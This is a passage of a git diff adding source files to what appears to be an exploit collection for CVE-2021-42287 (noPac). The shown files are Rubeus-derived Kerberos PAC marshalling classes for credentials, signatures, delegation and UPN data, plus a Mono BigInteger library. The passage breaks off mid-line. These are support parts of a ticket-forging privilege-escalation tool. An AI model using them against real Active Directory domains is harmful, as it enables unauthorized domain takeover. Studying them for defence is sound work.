Rubeus.Ndr.Marshal.INdrConformantStructure.GetConformantDimensions() { + return 1; + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int CredentialCount; + public _SECPKG_SUPPLEMENTAL_CRED[] Credentials; + public static _PAC_CREDENTIAL_DATA CreateDefault() { + _PAC_CREDENTIAL_DATA ret = new _PAC_CREDENTIAL_DATA(); + ret.Credentials = new _SECPKG_SUPPLEMENTAL_CRED[0]; + return ret; + } + public _PAC_CREDENTIAL_DATA(int CredentialCount, _SECPKG_SUPPLEMENTAL_CRED[] Credentials) { + this.CredentialCount = CredentialCount; + this.Credentials = Credentials; + } + } + public struct _SECPKG_SUPPLEMENTAL_CRED : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_10(PackageName); + m.WriteInt32(CredentialSize); + m.WriteEmbeddedPointer(Credentials, new System.Action(m.Write_39), CredentialSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + PackageName = u.Read_10(); + CredentialSize = u.ReadInt32(); + Credentials = u.ReadEmbeddedPointer(new System.Func(u.Read_39), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _RPC_UNICODE_STRING PackageName; + public int CredentialSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer Credentials; + public static _SECPKG_SUPPLEMENTAL_CRED CreateDefault() { + return new _SECPKG_SUPPLEMENTAL_CRED(); + } + public _SECPKG_SUPPLEMENTAL_CRED(_RPC_UNICODE_STRING PackageName, int CredentialSize, sbyte[] Credentials) { + this.PackageName = PackageName; + this.CredentialSize = CredentialSize; + this.Credentials = Credentials; + } + } + #endregion +} + diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PACTYPE.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PACTYPE.cs new file mode 100644 index 0000000..4d8636c --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PACTYPE.cs @@ -0,0 +1,97 @@ +using Rubeus.Kerberos.PAC; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.Kerberos { + + public class PACTYPE { + public int cBuffers; + public int Version; + public List PacInfoBuffers; + + public PACTYPE(int version, List piBuffers) { + Version = version; + cBuffers = piBuffers.Count; + PacInfoBuffers = piBuffers; + } + + public PACTYPE(byte[] data, byte[] key) { + + BinaryReader br = new BinaryReader(new MemoryStream(data)); + cBuffers = br.ReadInt32(); + Version = br.ReadInt32(); + PacInfoBuffers = new List(); + + for(int idx=0; idx(mh.WriteStruct)); + byte[] plainText = mh.ToPickledType().ToArray(); + var encData = Crypto.KerberosEncrypt(EncryptionType, Interop.KRB_KEY_USAGE_KRB_NON_KERB_SALT, key, plainText); + bw.Write(encData); + + long alignment = ((bw.BaseStream.Position + 7) / 8) * 8; + bw.BaseStream.SetLength(alignment); + + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + Version = br.ReadInt32(); + EncryptionType = (Interop.KERB_ETYPE)br.ReadInt32(); + + if(key == null) { + return; + } + + var encCredData = br.ReadBytes((int)(br.BaseStream.Length - br.BaseStream.Position)); + var plainCredData = Crypto.KerberosDecrypt(EncryptionType, Interop.KRB_KEY_USAGE_KRB_NON_KERB_SALT, key, encCredData); + + NdrPickledType npt = new NdrPickledType(plainCredData); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + CredentialInfo = uh.ReadReferentValue(uh.ReadStruct<_PAC_CREDENTIAL_DATA>,false); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PacInfoBuffer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PacInfoBuffer.cs new file mode 100644 index 0000000..eafdc6b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/PacInfoBuffer.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + + public enum PacInfoBufferType { + LogonInfo = 1, + CredInfo = 2, + ServerChecksum = 6, + KDCChecksum = 7, + ClientName = 0xA, + S4U2Proxy = 0xb, + UpnDns = 0xc, + ClientClaims = 0xd, + DeviceInfo = 0xe, + DeviceClaims = 0xf, + TicketChecksum = 0x10, + Attributes = 0x11, + Requestor = 0x12 + } + + public abstract class PacInfoBuffer { + + protected BinaryReader br; + protected byte[] key; + + public PacInfoBufferType Type { get; set; } + + public PacInfoBuffer() {} + + public PacInfoBuffer(byte[] data, PacInfoBufferType type) { + Type = type; + br = new BinaryReader(new MemoryStream(data)); + } + + public abstract byte[] Encode(); + protected abstract void Decode(byte[] data); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Requestor.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Requestor.cs new file mode 100644 index 0000000..42c9e91 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/Requestor.cs @@ -0,0 +1,44 @@ +using System.Security.Principal; + +namespace Rubeus.Kerberos.PAC +{ + public class Requestor : PacInfoBuffer + { + + public SecurityIdentifier RequestorSID { get; set; } + + public Requestor(PacInfoBufferType type) + { + this.Type = type; + } + + public Requestor(SecurityIdentifier sid) + { + Type = PacInfoBufferType.Requestor; + RequestorSID = sid; + } + + public Requestor(string sid) + { + Type = PacInfoBufferType.Requestor; + RequestorSID = new SecurityIdentifier(sid); + } + + public Requestor(byte[] data) : base(data, PacInfoBufferType.Requestor) + { + Decode(data); + } + + public override byte[] Encode() + { + byte[] binarySid = new byte[RequestorSID.BinaryLength]; + RequestorSID.GetBinaryForm(binarySid, 0); + return binarySid; + } + + protected override void Decode(byte[] data) + { + RequestorSID = new SecurityIdentifier(data, 0); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/S4UDelegationInfo.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/S4UDelegationInfo.cs new file mode 100644 index 0000000..cf27d47 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/S4UDelegationInfo.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using Rubeus.Ndr; +using Rubeus.Ndr.Marshal; + +namespace Rubeus.Kerberos.PAC { + public class S4UDelegationInfo : PacInfoBuffer { + + public _S4U_DELEGATION_INFO s4u { get; set; } + + public S4UDelegationInfo() { + Type = PacInfoBufferType.S4U2Proxy; + s4u = _S4U_DELEGATION_INFO.CreateDefault(); + } + + public S4UDelegationInfo(string s4uProxyTarget, string[] s4uTransitedServices) + { + Type = PacInfoBufferType.S4U2Proxy; + _RPC_UNICODE_STRING[] tmp = new _RPC_UNICODE_STRING[s4uTransitedServices.Length]; + int c = 0; + foreach (string s4uTransitedService in s4uTransitedServices) + { + tmp[c] = new _RPC_UNICODE_STRING(s4uTransitedService); + c += 1; + } + s4u = new _S4U_DELEGATION_INFO(new _RPC_UNICODE_STRING(s4uProxyTarget), s4uTransitedServices.Length, tmp); + } + + public S4UDelegationInfo(_S4U_DELEGATION_INFO s4uInfo) : this() + { + s4u = s4uInfo; + } + + public S4UDelegationInfo(byte[] data) : base(data, PacInfoBufferType.S4U2Proxy) { + Decode(data); + } + + protected override void Decode(byte[] data) { + NdrPickledType npt = new NdrPickledType(data); + _Unmarshal_Helper uh = new _Unmarshal_Helper(npt.Data); + s4u = (_S4U_DELEGATION_INFO)uh.ReadReferentValue(uh.ReadStruct<_S4U_DELEGATION_INFO>, false); + } + + public override byte[] Encode() { + _Marshal_Helper mh = new _Marshal_Helper(); + mh.WriteReferent(s4u, new Action<_S4U_DELEGATION_INFO>(mh.WriteStruct)); + return mh.ToPickledType().ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/SignatureData.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/SignatureData.cs new file mode 100644 index 0000000..1ef5348 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/SignatureData.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + + public class SignatureData : PacInfoBuffer { + + public Interop.KERB_CHECKSUM_ALGORITHM SignatureType { get; set; } + public byte[] Signature { get; set; } + + public SignatureData(PacInfoBufferType type) + { + this.Type = type; + } + + public SignatureData(byte[] data, PacInfoBufferType type) : base(data, type) { + Decode(data); + } + + public override byte[] Encode() { + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write((int)SignatureType); + bw.Write(Signature); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + + SignatureType = (Interop.KERB_CHECKSUM_ALGORITHM)br.ReadInt32(); + + switch (SignatureType) { + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5: + Signature = br.ReadBytes(16); + break; + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128: + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256: + case Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_NONE: + Signature = br.ReadBytes(12); + break; + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/UpnDns.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/UpnDns.cs new file mode 100644 index 0000000..44c88bf --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/krb_structures/pac/UpnDns.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; + +namespace Rubeus.Kerberos.PAC { + public class UpnDns : PacInfoBuffer { + + public short UpnLength { get; private set; } + public short UpnOffset { get; private set; } + public short DnsDomainNameLen { get; private set; } + public short DnsDomainNameOffset { get; private set; } + public int Flags { get; set; } + public string DnsDomainName { get; set; } + public string Upn { get; set; } + + public UpnDns(int flags, string dnsDomainName, string upn) { + Flags = flags; + DnsDomainName = dnsDomainName; + Upn = upn; + Type = PacInfoBufferType.UpnDns; + } + + public UpnDns(byte[] data) : base(data, PacInfoBufferType.UpnDns) { + Decode(data); + } + + public override byte[] Encode() { + + UpnOffset = 16; + UpnLength = (short)(Upn.Length * 2); + + DnsDomainNameLen = (short)(DnsDomainName.Length * 2); + DnsDomainNameOffset = (short)(UpnOffset + UpnLength); + + BinaryWriter bw = new BinaryWriter(new MemoryStream()); + bw.Write(UpnLength); + bw.Write(UpnOffset); + bw.Write(DnsDomainNameLen); + bw.Write(DnsDomainNameOffset); + bw.Write(Flags); + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00 }); + bw.Write(Encoding.Unicode.GetBytes(Upn)); + bw.Write(Encoding.Unicode.GetBytes(DnsDomainName)); + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00 }); + return ((MemoryStream)bw.BaseStream).ToArray(); + } + + protected override void Decode(byte[] data) { + + UpnLength = br.ReadInt16(); + UpnOffset = br.ReadInt16(); + DnsDomainNameLen = br.ReadInt16(); + DnsDomainNameOffset = br.ReadInt16(); + Flags = br.ReadInt32(); + + br.BaseStream.Position = UpnOffset; + Upn = Encoding.Unicode.GetString(br.ReadBytes(UpnLength)); + + br.BaseStream.Position = DnsDomainNameOffset; + DnsDomainName = Encoding.Unicode.GetString(br.ReadBytes(DnsDomainNameLen)); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/BigInteger.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/BigInteger.cs new file mode 100644 index 0000000..89bf7e9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/math/BigInteger.cs @@ -0,0 +1,2221 @@ +// +// BigInteger.cs - Big Integer implementation +// +// Authors: +// Ben Maurer +// Chew Keong TAN +// Sebastien Pouliot +// Pieter Philippaerts +// +// Copyright (c) 2003 Ben Maurer +// All rights reserved +// +// Copyright (c) 2002 Chew Keong TAN +// All rights reserved. +// +// Copyright (C) 2004, 2007 Novell, Inc (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +using System; +using System.Security.Cryptography; +using Mono.Math.Prime.Generator; +using Mono.Math.Prime; +using Mono.Math.Generator; + +namespace Mono.Math { + +#if INSIDE_CORLIB + internal +#else + public +#endif + class BigInteger { + + #region Data Storage + + /// + /// The Length of this BigInteger + /// + uint length = 1; + + /// + /// The data for this BigInteger + /// + uint[] data; + + #endregion + + #region Constants + + /// + /// Default length of a BigInteger in bytes + /// + const uint DEFAULT_LEN = 20; + + /// + /// Table of primes below 2000. + /// + /// + /// + /// This table was generated using Mathematica 4.1 using the following function: + /// + /// + /// + /// PrimeTable [x_] := Prime [Range [1, PrimePi [x]]] + /// PrimeTable [6000] + /// + /// + /// + internal static readonly uint[] smallPrimes = { + 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, + 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, + 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, + 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, + 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, + 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, + 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, + 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, + 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, + 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, + 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997, + + 1009, 1013, 1019, 1021, 1031, 1033, 1039, 1049, 1051, 1061, 1063, 1069, 1087, + 1091, 1093, 1097, 1103, 1109, 1117, 1123, 1129, 1151, 1153, 1163, 1171, 1181, + 1187, 1193, 1201, 1213, 1217, 1223, 1229, 1231, 1237, 1249, 1259, 1277, 1279, + 1283, 1289, 1291, 1297, 1301, 1303, 1307, 1319, 1321, 1327, 1361, 1367, 1373, + 1381, 1399, 1409, 1423, 1427, 1429, 1433, 1439, 1447, 1451, 1453, 1459, 1471, + 1481, 1483, 1487, 1489, 1493, 1499, 1511, 1523, 1531, 1543, 1549, 1553, 1559, + 1567, 1571, 1579, 1583, 1597, 1601, 1607, 1609, 1613, 1619, 1621, 1627, 1637, + 1657, 1663, 1667, 1669, 1693, 1697, 1699, 1709, 1721, 1723, 1733, 1741, 1747, + 1753, 1759, 1777, 1783, 1787, 1789, 1801, 1811, 1823, 1831, 1847, 1861, 1867, + 1871, 1873, 1877, 1879, 1889, 1901, 1907, 1913, 1931, 1933, 1949, 1951, 1973, + 1979, 1987, 1993, 1997, 1999, + + 2003, 2011, 2017, 2027, 2029, 2039, 2053, 2063, 2069, 2081, 2083, 2087, 2089, + 2099, 2111, 2113, 2129, 2131, 2137, 2141, 2143, 2153, 2161, 2179, 2203, 2207, + 2213, 2221, 2237, 2239, 2243, 2251, 2267, 2269, 2273, 2281, 2287, 2293, 2297, + 2309, 2311, 2333, 2339, 2341, 2347, 2351, 2357, 2371, 2377, 2381, 2383, 2389, + 2393, 2399, 2411, 2417, 2423, 2437, 2441, 2447, 2459, 2467, 2473, 2477, 2503, + 2521, 2531, 2539, 2543, 2549, 2551, 2557, 2579, 2591, 2593, 2609, 2617, 2621, + 2633, 2647, 2657, 2659, 2663, 2671, 2677, 2683, 2687, 2689, 2693, 2699, 2707, + 2711, 2713, 2719, 2729, 2731, 2741, 2749, 2753, 2767, 2777, 2789, 2791, 2797, + 2801, 2803, 2819, 2833, 2837, 2843, 2851, 2857, 2861, 2879, 2887, 2897, 2903, + 2909, 2917, 2927, 2939, 2953, 2957, 2963, 2969, 2971, 2999, + + 3001, 3011, 3019, 3023, 3037, 3041, 3049, 3061, 3067, 3079, 3083, 3089, 3109, + 3119, 3121, 3137, 3163, 3167, 3169, 3181, 3187, 3191, 3203, 3209, 3217, 3221, + 3229, 3251, 3253, 3257, 3259, 3271, 3299, 3301, 3307, 3313, 3319, 3323, 3329, + 3331, 3343, 3347, 3359, 3361, 3371, 3373, 3389, 3391, 3407, 3413, 3433, 3449, + 3457, 3461, 3463, 3467, 3469, 3491, 3499, 3511, 3517, 3527, 3529, 3533, 3539, + 3541, 3547, 3557, 3559, 3571, 3581, 3583, 3593, 3607, 3613, 3617, 3623, 3631, + 3637, 3643, 3659, 3671, 3673, 3677, 3691, 3697, 3701, 3709, 3719, 3727, 3733, + 3739, 3761, 3767, 3769, 3779, 3793, 3797, 3803, 3821, 3823, 3833, 3847, 3851, + 3853, 3863, 3877, 3881, 3889, 3907, 3911, 3917, 3919, 3923, 3929, 3931, 3943, + 3947, 3967, 3989, + + 4001, 4003, 4007, 4013, 4019, 4021, 4027, 4049, 4051, 4057, 4073, 4079, 4091, + 4093, 4099, 4111, 4127, 4129, 4133, 4139, 4153, 4157, 4159, 4177, 4201, 4211, + 4217, 4219, 4229, 4231, 4241, 4243, 4253, 4259, 4261, 4271, 4273, 4283, 4289, + 4297, 4327, 4337, 4339, 4349, 4357, 4363, 4373, 4391, 4397, 4409, 4421, 4423, + 4441, 4447, 4451, 4457, 4463, 4481, 4483, 4493, 4507, 4513, 4517, 4519, 4523, + 4547, 4549, 4561, 4567, 4583, 4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, + 4651, 4657, 4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751, 4759, + 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831, 4861, 4871, 4877, 4889, + 4903, 4909, 4919, 4931, 4933, 4937, 4943, 4951, 4957, 4967, 4969, 4973, 4987, + 4993, 4999, + + 5003, 5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087, 5099, 5101, + 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179, 5189, 5197, 5209, 5227, 5231, + 5233, 5237, 5261, 5273, 5279, 5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, + 5381, 5387, 5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443, 5449, + 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521, 5527, 5531, 5557, 5563, + 5569, 5573, 5581, 5591, 5623, 5639, 5641, 5647, 5651, 5653, 5657, 5659, 5669, + 5683, 5689, 5693, 5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791, + 5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857, 5861, 5867, 5869, + 5879, 5881, 5897, 5903, 5923, 5927, 5939, 5953, 5981, 5987 + }; + + public enum Sign : int { + Negative = -1, + Zero = 0, + Positive = 1 + }; + + #region Exception Messages + const string WouldReturnNegVal = "Operation would return a negative value"; + #endregion + + #endregion + + #region Constructors + + public BigInteger() { + data = new uint[DEFAULT_LEN]; + this.length = DEFAULT_LEN; + } + + public BigInteger(Sign sign, uint len) { + this.data = new uint[len]; + this.length = len; + } + + public BigInteger(BigInteger bi) { + this.data = (uint[])bi.data.Clone(); + this.length = bi.length; + } + + public BigInteger(BigInteger bi, uint len) { + + this.data = new uint[len]; + + for (uint i = 0; i < bi.length; i++) + this.data[i] = bi.data[i]; + + this.length = bi.length; + } + + #endregion + + #region Conversions + + public BigInteger(byte[] inData) { + if (inData.Length == 0) + inData = new byte[1]; + length = (uint)inData.Length >> 2; + int leftOver = inData.Length & 0x3; + + // length not multiples of 4 + if (leftOver != 0) length++; + + data = new uint[length]; + + for (int i = inData.Length - 1, j = 0; i >= 3; i -= 4, j++) { + data[j] = (uint)( + (inData[i - 3] << (3 * 8)) | + (inData[i - 2] << (2 * 8)) | + (inData[i - 1] << (1 * 8)) | + (inData[i]) + ); + } + + switch (leftOver) { + case 1: data[length - 1] = (uint)inData[0]; break; + case 2: data[length - 1] = (uint)((inData[0] << 8) | inData[1]); break; + case 3: data[length - 1] = (uint)((inData[0] << 16) | (inData[1] << 8) | inData[2]); break; + } + + this.Normalize(); + } + + public BigInteger(uint[] inData) { + if (inData.Length == 0) + inData = new uint[1]; + length = (uint)inData.Length; + + data = new uint[length]; + + for (int i = (int)length - 1, j = 0; i >= 0; i--, j++) + data[j] = inData[i]; + + this.Normalize(); + } + + public BigInteger(uint ui) { + data = new uint[] { ui }; + } + + public BigInteger(ulong ul) { + data = new uint[2] { (uint)ul, (uint)(ul >> 32) }; + length = 2; + + this.Normalize(); + } + + public static implicit operator BigInteger(uint value) { + return (new BigInteger(value)); + } + + public static implicit operator BigInteger(int value) { + if (value < 0) throw new ArgumentOutOfRangeException("value"); + return (new BigInteger((uint)value)); + } + + public static implicit operator BigInteger(ulong value) { + return (new BigInteger(value)); + } + + /* This is the BigInteger.Parse method I use. This method works + because BigInteger.ToString returns the input I gave to Parse. */ + public static BigInteger Parse(string number) { + if (number == null) + throw new ArgumentNullException("number"); + + int i = 0, len = number.Length; + char c; + bool digits_seen = false; + BigInteger val = new BigInteger(0); + if (number[i] == '+') { + i++; + } else if (number[i] == '-') { + throw new FormatException(WouldReturnNegVal); + } + + for (; i < len; i++) { + c = number[i]; + if (c == '\0') { + i = len; + continue; + } + if (c >= '0' && c <= '9') { + val = val * 10 + (c - '0'); + digits_seen = true; + } else { + if (Char.IsWhiteSpace(c)) { + for (i++; i < len; i++) { + if (!Char.IsWhiteSpace(number[i])) + throw new FormatException(); + } + break; + } else + throw new FormatException(); + } + } + if (!digits_seen) + throw new FormatException(); + return val; + } + + #endregion + + #region Operators + + public static BigInteger operator +(BigInteger bi1, BigInteger bi2) { + if (bi1 == 0) + return new BigInteger(bi2); + else if (bi2 == 0) + return new BigInteger(bi1); + else + return Kernel.AddSameSign(bi1, bi2); + } + + public static BigInteger operator -(BigInteger bi1, BigInteger bi2) { + if (bi2 == 0) + return new BigInteger(bi1); + + if (bi1 == 0) + throw new ArithmeticException(WouldReturnNegVal); + + switch (Kernel.Compare(bi1, bi2)) { + + case Sign.Zero: + return 0; + + case Sign.Positive: + return Kernel.Subtract(bi1, bi2); + + case Sign.Negative: + throw new ArithmeticException(WouldReturnNegVal); + default: + throw new Exception(); + } + } + + public static int operator %(BigInteger bi, int i) { + if (i > 0) + return (int)Kernel.DwordMod(bi, (uint)i); + else + return -(int)Kernel.DwordMod(bi, (uint)-i); + } + + public static uint operator %(BigInteger bi, uint ui) { + return Kernel.DwordMod(bi, (uint)ui); + } + + public static BigInteger operator %(BigInteger bi1, BigInteger bi2) { + return Kernel.multiByteDivide(bi1, bi2)[1]; + } + + public static BigInteger operator /(BigInteger bi, int i) { + if (i > 0) + return Kernel.DwordDiv(bi, (uint)i); + + throw new ArithmeticException(WouldReturnNegVal); + } + + public static BigInteger operator /(BigInteger bi1, BigInteger bi2) { + return Kernel.multiByteDivide(bi1, bi2)[0]; + } + + public static BigInteger operator *(BigInteger bi1, BigInteger bi2) { + if (bi1 == 0 || bi2 == 0) return 0; + + // + // Validate pointers + // + if (bi1.data.Length < bi1.length) throw new IndexOutOfRangeException("bi1 out of range"); + if (bi2.data.Length < bi2.length) throw new IndexOutOfRangeException("bi2 out of range"); + + BigInteger ret = new BigInteger(Sign.Positive, bi1.length + bi2.length); + + Kernel.Multiply(bi1.data, 0, bi1.length, bi2.data, 0, bi2.length, ret.data, 0); + + ret.Normalize(); + return ret; + } + + public static BigInteger operator *(BigInteger bi, int i) { + if (i < 0) throw new ArithmeticException(WouldReturnNegVal); + if (i == 0) return 0; + if (i == 1) return new BigInteger(bi); + + return Kernel.MultiplyByDword(bi, (uint)i); + } + + public static BigInteger operator <<(BigInteger bi1, int shiftVal) { + return Kernel.LeftShift(bi1, shiftVal); + } + + public static BigInteger operator >>(BigInteger bi1, int shiftVal) { + return Kernel.RightShift(bi1, shiftVal); + } + + #endregion + + #region Friendly names for operators + + // with names suggested by FxCop 1.30 + + public static BigInteger Add(BigInteger bi1, BigInteger bi2) { + return (bi1 + bi2); + } + + public static BigInteger Subtract(BigInteger bi1, BigInteger bi2) { + return (bi1 - bi2); + } + + public static int Modulus(BigInteger bi, int i) { + return (bi % i); + } + + public static uint Modulus(BigInteger bi, uint ui) { + return (bi % ui); + } + + public static BigInteger Modulus(BigInteger bi1, BigInteger bi2) { + return (bi1 % bi2); + } + + public static BigInteger Divid(BigInteger bi, int i) { + return (bi / i); + } + + public static BigInteger Divid(BigInteger bi1, BigInteger bi2) { + return (bi1 / bi2); + } + + public static BigInteger Multiply(BigInteger bi1, BigInteger bi2) { + return (bi1 * bi2); + } + + public static BigInteger Multiply(BigInteger bi, int i) { + return (bi * i); + } + + #endregion + + #region Random + private static RandomNumberGenerator rng; + private static RandomNumberGenerator Rng { + get { + if (rng == null) + rng = RandomNumberGenerator.Create(); + return rng; + } + } + + /// + /// Generates a new, random BigInteger of the specified length. + /// + /// The number of bits for the new number. + /// A random number generator to use to obtain the bits. + /// A random number of the specified length. + public static BigInteger GenerateRandom(int bits, RandomNumberGenerator rng) { + int dwords = bits >> 5; + int remBits = bits & 0x1F; + + if (remBits != 0) + dwords++; + + BigInteger ret = new BigInteger(Sign.Positive, (uint)dwords + 1); + byte[] random = new byte[dwords << 2]; + + rng.GetBytes(random); + Buffer.BlockCopy(random, 0, ret.data, 0, (int)dwords << 2); + + if (remBits != 0) { + uint mask = (uint)(0x01 << (remBits - 1)); + ret.data[dwords - 1] |= mask; + + mask = (uint)(0xFFFFFFFF >> (32 - remBits)); + ret.data[dwords - 1] &= mask; + } else + ret.data[dwords - 1] |= 0x80000000; + + ret.Normalize(); + return ret; + } + + /// + /// Generates a new, random BigInteger of the specified length using the default RNG crypto service provider. + /// + /// The number of bits for the new number. + /// A random number of the specified length. + public static BigInteger GenerateRandom(int bits) { + return GenerateRandom(bits, Rng); + } + + /// + /// Randomizes the bits in "this" from the specified RNG. + /// + /// A RNG. + public void Randomize(RandomNumberGenerator rng) { + if (this == 0) + return; + + int bits = this.BitCount(); + int dwords = bits >> 5; + int remBits = bits & 0x1F; + + if (remBits != 0) + dwords++; + + byte[] random = new byte[dwords << 2]; + + rng.GetBytes(random); + Buffer.BlockCopy(random, 0, data, 0, (int)dwords << 2); + + if (remBits != 0) { + uint mask = (uint)(0x01 << (remBits - 1)); + data[dwords - 1] |= mask; + + mask = (uint)(0xFFFFFFFF >> (32 - remBits)); + data[dwords - 1] &= mask; + } else + data[dwords - 1] |= 0x80000000; + + Normalize(); + } + + /// + /// Randomizes the bits in "this" from the default RNG. + /// + public void Randomize() { + Randomize(Rng); + } + + #endregion + + #region Bitwise + + public int BitCount() { + this.Normalize(); + + uint value = data[length - 1]; + uint mask = 0x80000000; + uint bits = 32; + + while (bits > 0 && (value & mask) == 0) { + bits--; + mask >>= 1; + } + bits += ((length - 1) << 5); + + return (int)bits; + } + + /// + /// Tests if the specified bit is 1. + /// + /// The bit to test. The least significant bit is 0. + /// True if bitNum is set to 1, else false. + public bool TestBit(uint bitNum) { + uint bytePos = bitNum >> 5; // divide by 32 + byte bitPos = (byte)(bitNum & 0x1F); // get the lowest 5 bits + + uint mask = (uint)1 << bitPos; + return ((this.data[bytePos] & mask) != 0); + } + + public bool TestBit(int bitNum) { + if (bitNum < 0) throw new IndexOutOfRangeException("bitNum out of range"); + + uint bytePos = (uint)bitNum >> 5; // divide by 32 + byte bitPos = (byte)(bitNum & 0x1F); // get the lowest 5 bits + + uint mask = (uint)1 << bitPos; + return ((this.data[bytePos] | mask) == this.data[bytePos]); + } + + public void SetBit(uint bitNum) { + SetBit(bitNum, true); + } + + public void ClearBit(uint bitNum) { + SetBit(bitNum, false); + } + + public void SetBit(uint bitNum, bool value) { + uint 